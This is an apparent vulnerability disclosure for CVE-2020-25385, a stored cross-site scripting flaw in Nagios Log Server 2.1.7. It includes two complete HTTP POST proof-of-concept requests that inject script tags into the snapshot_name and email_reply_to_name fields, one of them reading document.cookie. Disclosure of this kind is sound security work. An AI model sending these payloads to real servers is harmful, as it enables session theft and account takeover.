emreovunc/nagios-log-server-2.1.7-persistent-cross-site-scriptingA stored cross-site scripting (XSS) in Nagios Log Server 2.1.7 can result in an attacker performing malicious actions to users who open a maliciously crafted link or third-party web page.
A stored cross-site scripting (XSS) in Nagios Log Server 2.1.7 can result in an attacker performing malicious actions to users who open a maliciously crafted link or third-party web page.
Nagios Log Server 2.1.7 and older versions are affected by these vulnerabilities.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25385
To exploit vulnerability, someone could use a POST request to '/nagioslogserver/configure/create_snapshot' by manipulating 'snapshot_name' parameter in the request body to impact users who open a maliciously crafted link or third-party web page.
POST /nagioslogserver/configure/create_snapshot HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
DNT: 1
Connection: close
Cookie: csrf_ls=b3bef5c1a2ef6e4c233282d1c1c229fd; ls_session=883lergotgcjbh9bjgaeakosv5go2gbb; PHPSESSID=nbah0vkmibpudd1qh7qgnpgo53
Upgrade-Insecure-Requests: 1
csrf_ls=b3bef5c1a2ef6e4c233282d1c1c229fd&snapshot_name=%22%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E
To exploit vulnerability, someone could use a POST request to '/nagioslogserver/admin/mail' by manipulating 'email_reply_to_name' parameter in the request body to impact users who open a maliciously crafted link or third-party web page.
POST /nagioslogserver/admin/mail HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 291
DNT: 1
Connection: close
Cookie: csrf_ls=6e418c757282ab5c4785dad327238158; ls_session=pscogfricmnpe9kpvbtcuccn8mfempgp
Upgrade-Insecure-Requests: 1
csrf_ls=6e418c757282ab5c4785dad327238158&email_from_name=Nagios+Log+Server&email_from=root%40localhost&email_reply_to_name=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&email_reply_to=root%40localhost&email_method=mail&smtp_host=&smtp_crypto=&smtp_port=25&smtp_user=&smtp_pass=
